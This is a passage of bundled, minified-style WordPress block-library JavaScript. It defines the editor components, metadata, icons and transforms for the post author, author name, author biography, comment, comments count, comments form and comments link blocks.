37303 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-post-author__content", children: [
37304 (!external_wp_blockEditor_namespaceObject.RichText.isEmpty(byline) || isSelected) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37305 external_wp_blockEditor_namespaceObject.RichText,
37306 {
37307 identifier: "byline",
37308 className: "wp-block-post-author__byline",
37309 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Post author byline text"),
37310 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write byline\u2026"),
37311 value: byline,
37312 onChange: (value) => setAttributes({ byline: value })
37313 }
37314 ),
37315 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "wp-block-post-author__name", children: isLink ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37316 "a",
37317 {
37318 href: "#post-author-pseudo-link",
37319 onClick: (event) => event.preventDefault(),
37320 children: authorName
37321 }
37322 ) : authorName }),
37323 showBio && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37324 "p",
37325 {
37326 className: "wp-block-post-author__bio",
37327 dangerouslySetInnerHTML: {
37328 __html: authorDetails?.description
37329 }
37330 }
37331 )
37332 ] })
37333 ] })
37334 ] });
37335}
37336var post_author_edit_edit_default = PostAuthorEdit;
37337
37338
37339;// ./node_modules/@wordpress/block-library/build-module/post-author/index.js
37340
37341
37342
37343
37344
37345const { name: post_author_name } = post_author_block_namespaceObject;
37346const post_author_settings = {
37347 icon: post_author_default,
37348 example: {
37349 viewportWidth: 350,
37350 attributes: {
37351 showBio: true,
37352 byline: (0,external_wp_i18n_namespaceObject.__)("Posted by")
37353 }
37354 },
37355 edit: post_author_edit_edit_default
37356};
37357const post_author_init = () => initBlock({ name: post_author_name, metadata: post_author_block_namespaceObject, settings: post_author_settings });
37358
37359
37360;// ./node_modules/@wordpress/block-library/build-module/post-author-name/block.json
37361const post_author_name_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-author-name","title":"Author Name","category":"theme","description":"The author name.","textdomain":"default","attributes":{"textAlign":{"type":"string"},"isLink":{"type":"boolean","default":false,"role":"content"},"linkTarget":{"type":"string","default":"_self","role":"content"}},"usesContext":["postType","postId"],"example":{"viewportWidth":350},"supports":{"html":false,"spacing":{"margin":true,"padding":true},"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"style":"wp-block-post-author-name"}');
37362;// ./node_modules/@wordpress/block-library/build-module/post-author-name/edit.js
37363
37364
37365
37366
37367
37368
37369
37370
37371function PostAuthorNameEdit({
37372 context: { postType, postId },
37373 attributes: { textAlign, isLink, linkTarget },
37374 setAttributes
37375}) {
37376 const { authorName, supportsAuthor } = (0,external_wp_data_namespaceObject.useSelect)(
37377 (select) => {
37378 const { getEditedEntityRecord, getUser, getPostType } = select(external_wp_coreData_namespaceObject.store);
37379 const _authorId = getEditedEntityRecord(
37380 "postType",
37381 postType,
37382 postId
37383 )?.author;
37384 return {
37385 authorName: _authorId ? getUser(_authorId) : null,
37386 supportsAuthor: getPostType(postType)?.supports?.author ?? false
37387 };
37388 },
37389 [postType, postId]
37390 );
37391 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
37392 className: dist_clsx({
37393 [`has-text-align-${textAlign}`]: textAlign
37394 })
37395 });
37396 const displayName = authorName?.name || (0,external_wp_i18n_namespaceObject.__)("Author Name");
37397 const displayAuthor = isLink ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37398 "a",
37399 {
37400 href: "#author-pseudo-link",
37401 onClick: (event) => event.preventDefault(),
37402 className: "wp-block-post-author-name__link",
37403 children: displayName
37404 }
37405 ) : displayName;
37406 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
37407 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
37408 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37409 external_wp_blockEditor_namespaceObject.AlignmentControl,
37410 {
37411 value: textAlign,
37412 onChange: (nextAlign) => {
37413 setAttributes({ textAlign: nextAlign });
37414 }
37415 }
37416 ) }),
37417 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
37418 external_wp_components_namespaceObject.__experimentalToolsPanel,
37419 {
37420 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
37421 resetAll: () => {
37422 setAttributes({
37423 isLink: false,
37424 linkTarget: "_self"
37425 });
37426 },
37427 dropdownMenuProps,
37428 children: [
37429 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37430 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
37431 {
37432 label: (0,external_wp_i18n_namespaceObject.__)("Link to author archive"),
37433 isShownByDefault: true,
37434 hasValue: () => isLink,
37435 onDeselect: () => setAttributes({ isLink: false }),
37436 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37437 external_wp_components_namespaceObject.ToggleControl,
37438 {
37439 __nextHasNoMarginBottom: true,
37440 label: (0,external_wp_i18n_namespaceObject.__)("Link to author archive"),
37441 onChange: () => setAttributes({ isLink: !isLink }),
37442 checked: isLink
37443 }
37444 )
37445 }
37446 ),
37447 isLink && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37448 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
37449 {
37450 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
37451 isShownByDefault: true,
37452 hasValue: () => linkTarget !== "_self",
37453 onDeselect: () => setAttributes({ linkTarget: "_self" }),
37454 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37455 external_wp_components_namespaceObject.ToggleControl,
37456 {
37457 __nextHasNoMarginBottom: true,
37458 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
37459 onChange: (value) => setAttributes({
37460 linkTarget: value ? "_blank" : "_self"
37461 }),
37462 checked: linkTarget === "_blank"
37463 }
37464 )
37465 }
37466 )
37467 ]
37468 }
37469 ) }),
37470 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: !supportsAuthor && postType !== void 0 ? (0,external_wp_i18n_namespaceObject.sprintf)(
37471 // translators: %s: Name of the post type e.g: "post".
37472 (0,external_wp_i18n_namespaceObject.__)(
37473 "This post type (%s) does not support the author."
37474 ),
37475 postType
37476 ) : displayAuthor })
37477 ] });
37478}
37479var post_author_name_edit_edit_default = PostAuthorNameEdit;
37480
37481
37482;// ./node_modules/@wordpress/block-library/build-module/post-author-name/transforms.js
37483
37484const post_author_name_transforms_transforms = {
37485 from: [
37486 {
37487 type: "block",
37488 blocks: ["core/post-author"],
37489 transform: ({ textAlign }) => (0,external_wp_blocks_namespaceObject.createBlock)("core/post-author-name", { textAlign })
37490 }
37491 ],
37492 to: [
37493 {
37494 type: "block",
37495 blocks: ["core/post-author"],
37496 transform: ({ textAlign }) => (0,external_wp_blocks_namespaceObject.createBlock)("core/post-author", { textAlign })
37497 }
37498 ]
37499};
37500var post_author_name_transforms_transforms_default = post_author_name_transforms_transforms;
37501
37502
37503;// ./node_modules/@wordpress/block-library/build-module/post-author-name/index.js
37504
37505
37506
37507
37508
37509const { name: post_author_name_name } = post_author_name_block_namespaceObject;
37510const post_author_name_settings = {
37511 icon: post_author_default,
37512 transforms: post_author_name_transforms_transforms_default,
37513 edit: post_author_name_edit_edit_default
37514};
37515const post_author_name_init = () => initBlock({ name: post_author_name_name, metadata: post_author_name_block_namespaceObject, settings: post_author_name_settings });
37516
37517
37518;// ./node_modules/@wordpress/block-library/build-module/post-author-biography/block.json
37519const post_author_biography_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-author-biography","title":"Author Biography","category":"theme","description":"The author biography.","textdomain":"default","attributes":{"textAlign":{"type":"string"}},"usesContext":["postType","postId"],"example":{"viewportWidth":350},"supports":{"spacing":{"margin":true,"padding":true},"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"style":"wp-block-post-author-biography"}');
37520;// ./node_modules/@wordpress/block-library/build-module/post-author-biography/edit.js
37521
37522
37523
37524
37525
37526
37527function PostAuthorBiographyEdit({
37528 context: { postType, postId },
37529 attributes: { textAlign },
37530 setAttributes
37531}) {
37532 const { authorDetails } = (0,external_wp_data_namespaceObject.useSelect)(
37533 (select) => {
37534 const { getEditedEntityRecord, getUser } = select(external_wp_coreData_namespaceObject.store);
37535 const _authorId = getEditedEntityRecord(
37536 "postType",
37537 postType,
37538 postId
37539 )?.author;
37540 return {
37541 authorDetails: _authorId ? getUser(_authorId) : null
37542 };
37543 },
37544 [postType, postId]
37545 );
37546 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
37547 className: dist_clsx({
37548 [`has-text-align-${textAlign}`]: textAlign
37549 })
37550 });
37551 const displayAuthorBiography = authorDetails?.description || (0,external_wp_i18n_namespaceObject.__)("Author Biography");
37552 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
37553 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37554 external_wp_blockEditor_namespaceObject.AlignmentControl,
37555 {
37556 value: textAlign,
37557 onChange: (nextAlign) => {
37558 setAttributes({ textAlign: nextAlign });
37559 }
37560 }
37561 ) }),
37562 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37563 "div",
37564 {
37565 ...blockProps,
37566 dangerouslySetInnerHTML: { __html: displayAuthorBiography }
37567 }
37568 )
37569 ] });
37570}
37571var post_author_biography_edit_edit_default = PostAuthorBiographyEdit;
37572
37573
37574;// ./node_modules/@wordpress/block-library/build-module/post-author-biography/index.js
37575
37576
37577
37578
37579const { name: post_author_biography_name } = post_author_biography_block_namespaceObject;
37580const post_author_biography_settings = {
37581 icon: post_author_default,
37582 edit: post_author_biography_edit_edit_default
37583};
37584const post_author_biography_init = () => initBlock({ name: post_author_biography_name, metadata: post_author_biography_block_namespaceObject, settings: post_author_biography_settings });
37585
37586
37587;// ./node_modules/@wordpress/block-library/build-module/post-comment/block.json
37588const post_comment_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"__experimental":"fse","name":"core/post-comment","title":"Comment (deprecated)","category":"theme","allowedBlocks":["core/avatar","core/comment-author-name","core/comment-content","core/comment-date","core/comment-edit-link","core/comment-reply-link"],"description":"This block is deprecated. Please use the Comments block instead.","textdomain":"default","attributes":{"commentId":{"type":"number"}},"providesContext":{"commentId":"commentId"},"supports":{"html":false,"inserter":false,"interactivity":{"clientNavigation":true}}}');
37589;// ./node_modules/@wordpress/icons/build-module/library/block-default.js
37590
37591
37592var block_default_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z" }) });
37593
37594
37595;// ./node_modules/@wordpress/block-library/build-module/post-comment/edit.js
37596
37597
37598
37599
37600
37601
37602const post_comment_edit_TEMPLATE = [
37603 ["core/avatar"],
37604 ["core/comment-author-name"],
37605 ["core/comment-date"],
37606 ["core/comment-content"],
37607 ["core/comment-reply-link"],
37608 ["core/comment-edit-link"]
37609];
37610function post_comment_edit_Edit({ attributes: { commentId }, setAttributes }) {
37611 const [commentIdInput, setCommentIdInput] = (0,external_wp_element_namespaceObject.useState)(commentId);
37612 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
37613 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
37614 template: post_comment_edit_TEMPLATE
37615 });
37616 if (!commentId) {
37617 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
37618 external_wp_components_namespaceObject.Placeholder,
37619 {
37620 icon: block_default_default,
37621 label: (0,external_wp_i18n_namespaceObject._x)("Post Comment", "block title"),
37622 instructions: (0,external_wp_i18n_namespaceObject.__)(
37623 "To show a comment, input the comment ID."
37624 ),
37625 children: [
37626 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37627 external_wp_components_namespaceObject.TextControl,
37628 {
37629 __next40pxDefaultSize: true,
37630 __nextHasNoMarginBottom: true,
37631 value: commentId,
37632 onChange: (val) => setCommentIdInput(parseInt(val))
37633 }
37634 ),
37635 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37636 external_wp_components_namespaceObject.Button,
37637 {
37638 __next40pxDefaultSize: true,
37639 variant: "primary",
37640 onClick: () => {
37641 setAttributes({ commentId: commentIdInput });
37642 },
37643 children: (0,external_wp_i18n_namespaceObject.__)("Save")
37644 }
37645 )
37646 ]
37647 }
37648 ) });
37649 }
37650 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps });
37651}
37652
37653
37654;// ./node_modules/@wordpress/block-library/build-module/post-comment/save.js
37655
37656
37657function post_comment_save_save() {
37658 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
37659 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
37660 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps });
37661}
37662
37663
37664;// ./node_modules/@wordpress/block-library/build-module/post-comment/index.js
37665
37666
37667
37668
37669
37670const { name: post_comment_name } = post_comment_block_namespaceObject;
37671const post_comment_settings = {
37672 icon: comment_default,
37673 edit: post_comment_edit_Edit,
37674 save: post_comment_save_save
37675};
37676const post_comment_init = () => initBlock({ name: post_comment_name, metadata: post_comment_block_namespaceObject, settings: post_comment_settings });
37677
37678
37679;// ./node_modules/@wordpress/icons/build-module/library/post-comments-count.js
37680
37681
37682var post_comments_count_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 8H4v1.5h9V8zM4 4v1.5h16V4H4zm9 8H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1V13c0-.6-.4-1-1-1zm-2.2 6.6H7l1.6-2.2c.3-.4.5-.7.6-.9.1-.2.2-.4.2-.5 0-.2-.1-.3-.1-.4-.1-.1-.2-.1-.4-.1s-.4 0-.6.1c-.3.1-.5.3-.7.4l-.2.2-.2-1.2.1-.1c.3-.2.5-.3.8-.4.3-.1.6-.1.9-.1.3 0 .6.1.9.2.2.1.4.3.6.5.1.2.2.5.2.7 0 .3-.1.6-.2.9-.1.3-.4.7-.7 1.1l-.5.6h1.6v1.2z" }) });
37683
37684
37685;// ./node_modules/@wordpress/block-library/build-module/post-comments-count/block.json
37686const post_comments_count_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-comments-count","title":"Comments Count","category":"theme","description":"Display a post\'s comments count.","textdomain":"default","attributes":{"textAlign":{"type":"string"}},"usesContext":["postId"],"example":{"viewportWidth":350},"supports":{"html":false,"color":{"gradients":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true},"interactivity":{"clientNavigation":true}},"style":"wp-block-post-comments-count"}');
37687;// ./node_modules/@wordpress/block-library/build-module/post-comments-count/edit.js
37688
37689
37690
37691
37692
37693
37694
37695function PostCommentsCountEdit({
37696 attributes,
37697 context,
37698 setAttributes
37699}) {
37700 const { textAlign } = attributes;
37701 const { postId } = context;
37702 const [commentsCount, setCommentsCount] = (0,external_wp_element_namespaceObject.useState)();
37703 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
37704 className: dist_clsx({
37705 [`has-text-align-${textAlign}`]: textAlign
37706 })
37707 });
37708 (0,external_wp_element_namespaceObject.useEffect)(() => {
37709 if (!postId) {
37710 return;
37711 }
37712 const currentPostId = postId;
37713 external_wp_apiFetch_default()({
37714 path: (0,external_wp_url_namespaceObject.addQueryArgs)("/wp/v2/comments", {
37715 post: postId
37716 }),
37717 parse: false
37718 }).then((res) => {
37719 if (currentPostId === postId) {
37720 setCommentsCount(res.headers.get("X-WP-Total"));
37721 }
37722 });
37723 }, [postId]);
37724 const hasPostAndComments = postId && commentsCount !== void 0;
37725 const blockStyles = {
37726 ...blockProps.style,
37727 textDecoration: hasPostAndComments ? blockProps.style?.textDecoration : void 0
37728 };
37729 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
37730 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37731 external_wp_blockEditor_namespaceObject.AlignmentControl,
37732 {
37733 value: textAlign,
37734 onChange: (nextAlign) => {
37735 setAttributes({ textAlign: nextAlign });
37736 }
37737 }
37738 ) }),
37739 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, style: blockStyles, children: hasPostAndComments ? commentsCount : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)("Post Comments Count block: post not found.") }) })
37740 ] });
37741}
37742
37743
37744;// ./node_modules/@wordpress/block-library/build-module/post-comments-count/transforms.js
37745
37746const post_comments_count_transforms_transforms = {
37747 to: [
37748 {
37749 type: "block",
37750 blocks: ["core/post-comments-link"],
37751 transform: ({ textAlign }) => {
37752 return (0,external_wp_blocks_namespaceObject.createBlock)("core/post-comments-link", {
37753 textAlign
37754 });
37755 }
37756 }
37757 ]
37758};
37759var post_comments_count_transforms_transforms_default = post_comments_count_transforms_transforms;
37760
37761
37762;// ./node_modules/@wordpress/block-library/build-module/post-comments-count/index.js
37763
37764
37765
37766
37767
37768const { name: post_comments_count_name } = post_comments_count_block_namespaceObject;
37769const post_comments_count_settings = {
37770 icon: post_comments_count_default,
37771 edit: PostCommentsCountEdit,
37772 transforms: post_comments_count_transforms_transforms_default
37773};
37774const post_comments_count_init = () => initBlock({ name: post_comments_count_name, metadata: post_comments_count_block_namespaceObject, settings: post_comments_count_settings });
37775
37776
37777;// ./node_modules/@wordpress/icons/build-module/library/post-comments-form.js
37778
37779
37780var post_comments_form_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 8H4v1.5h9V8zM4 4v1.5h16V4H4zm9 8H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1V13c0-.6-.4-1-1-1zm-.5 6.6H6.7l-1.2 1.2v-6.3h7v5.1z" }) });
37781
37782
37783;// ./node_modules/@wordpress/block-library/build-module/post-comments-form/block.json
37784const post_comments_form_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-comments-form","title":"Comments Form","category":"theme","description":"Display a post\'s comments form.","textdomain":"default","attributes":{"textAlign":{"type":"string"}},"usesContext":["postId","postType"],"supports":{"html":false,"color":{"gradients":true,"heading":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontStyle":true,"__experimentalFontWeight":true,"__experimentalLetterSpacing":true,"__experimentalTextTransform":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"editorStyle":"wp-block-post-comments-form-editor","style":["wp-block-post-comments-form","wp-block-buttons","wp-block-button"],"example":{"attributes":{"textAlign":"center"}}}');
37785;// ./node_modules/@wordpress/block-library/build-module/post-comments-form/edit.js
37786
37787
37788
37789
37790
37791
37792
37793function PostCommentsFormEdit({
37794 attributes,
37795 context,
37796 setAttributes
37797}) {
37798 const { textAlign } = attributes;
37799 const { postId, postType } = context;
37800 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(PostCommentsFormEdit);
37801 const instanceIdDesc = (0,external_wp_i18n_namespaceObject.sprintf)("comments-form-edit-%d-desc", instanceId);
37802 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
37803 className: dist_clsx({
37804 [`has-text-align-${textAlign}`]: textAlign
37805 }),
37806 "aria-describedby": instanceIdDesc
37807 });
37808 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
37809 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37810 external_wp_blockEditor_namespaceObject.AlignmentControl,
37811 {
37812 value: textAlign,
37813 onChange: (nextAlign) => {
37814 setAttributes({ textAlign: nextAlign });
37815 }
37816 }
37817 ) }),
37818 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
37819 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(form_default, { postId, postType }),
37820 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { id: instanceIdDesc, children: (0,external_wp_i18n_namespaceObject.__)("Comments form disabled in editor.") })
37821 ] })
37822 ] });
37823}
37824
37825
37826;// ./node_modules/@wordpress/block-library/build-module/post-comments-form/index.js
37827
37828
37829
37830
37831const { name: post_comments_form_name } = post_comments_form_block_namespaceObject;
37832const post_comments_form_settings = {
37833 icon: post_comments_form_default,
37834 edit: PostCommentsFormEdit
37835};
37836const post_comments_form_init = () => initBlock({ name: post_comments_form_name, metadata: post_comments_form_block_namespaceObject, settings: post_comments_form_settings });
37837
37838
37839;// ./node_modules/@wordpress/block-library/build-module/post-comments-link/block.json
37840const post_comments_link_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-comments-link","title":"Comments Link","category":"theme","description":"Displays the link to the current post comments.","textdomain":"default","usesContext":["postType","postId"],"attributes":{"textAlign":{"type":"string"}},"example":{"viewportWidth":350},"supports":{"html":false,"color":{"link":true,"text":false,"__experimentalDefaultControls":{"background":true,"link":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"style":"wp-block-post-comments-link"}');
37841;// ./node_modules/@wordpress/block-library/build-module/post-comments-link/edit.js
37842
37843
37844
37845
37846
37847
37848
37849
37850
37851function PostCommentsLinkEdit({ context, attributes, setAttributes }) {
37852 const { textAlign } = attributes;
37853 const { postType, postId } = context;
37854 const [commentsCount, setCommentsCount] = (0,external_wp_element_namespaceObject.useState)();
37855 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
37856 className: dist_clsx({
37857 [`has-text-align-${textAlign}`]: textAlign
37858 })
37859 });
37860 (0,external_wp_element_namespaceObject.useEffect)(() => {
37861 if (!postId) {
37862 return;
37863 }
37864 const currentPostId = postId;
37865 external_wp_apiFetch_default()({
37866 path: (0,external_wp_url_namespaceObject.addQueryArgs)("/wp/v2/comments", {
37867 post: postId
37868 }),
37869 parse: false
37870 }).then((res) => {
37871 if (currentPostId === postId) {
37872 setCommentsCount(res.headers.get("X-WP-Total"));
37873 }
37874 });
37875 }, [postId]);
37876 const post = (0,external_wp_data_namespaceObject.useSelect)(
37877 (select) => select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
37878 "postType",
37879 postType,
37880 postId
37881 ),
37882 [postType, postId]
37883 );
37884 if (!post) {
37885 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)("Post Comments Link block: post not found.") }) });
37886 }
37887 const { link } = post;
37888 let commentsText;
37889 if (commentsCount !== void 0) {
37890 const commentsNumber = parseInt(commentsCount);
37891 if (commentsNumber === 0) {
37892 commentsText = (0,external_wp_i18n_namespaceObject.__)("No comments");
37893 } else {
37894 commentsText = (0,external_wp_i18n_namespaceObject.sprintf)(
37895 /* translators: %s: Number of comments */
37896 (0,external_wp_i18n_namespaceObject._n)("%s comment", "%s comments", commentsNumber),
37897 commentsNumber.toLocaleString()
37898 );
37899 }
37900 }
37901 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
37902 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37903 external_wp_blockEditor_namespaceObject.AlignmentControl,
37904 {
37905 value: textAlign,
37906 onChange: (nextAlign) => {
37907 setAttributes({ textAlign: nextAlign });
37908 }
37909 }
37910 ) }),
37911 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: link && commentsText !== void 0 ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
37912 "a",
37913 {
37914 href: link + "#comments",
37915 onClick: (event) => event.preventDefault(),
37916 children: commentsText
37917 }
37918 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)("Post Comments Link block: post not found.") }) })
37919 ] });
37920}
37921var post_comments_link_edit_edit_default = PostCommentsLinkEdit;
37922
37923
37924;// ./node_modules/@wordpress/block-library/build-module/post-comments-link/transforms.js
37925
37926const post_comments_link_transforms_transforms = {
37927 to: [
37928 {
37929 type: "block",
37930 blocks: ["core/post-comments-count"],
37931 transform: ({ textAlign }) => {
37932 return (0,external_wp_blocks_namespaceObject.createBlock)("core/post-comments-count", {
37933 textAlign
37934 });
37935 }
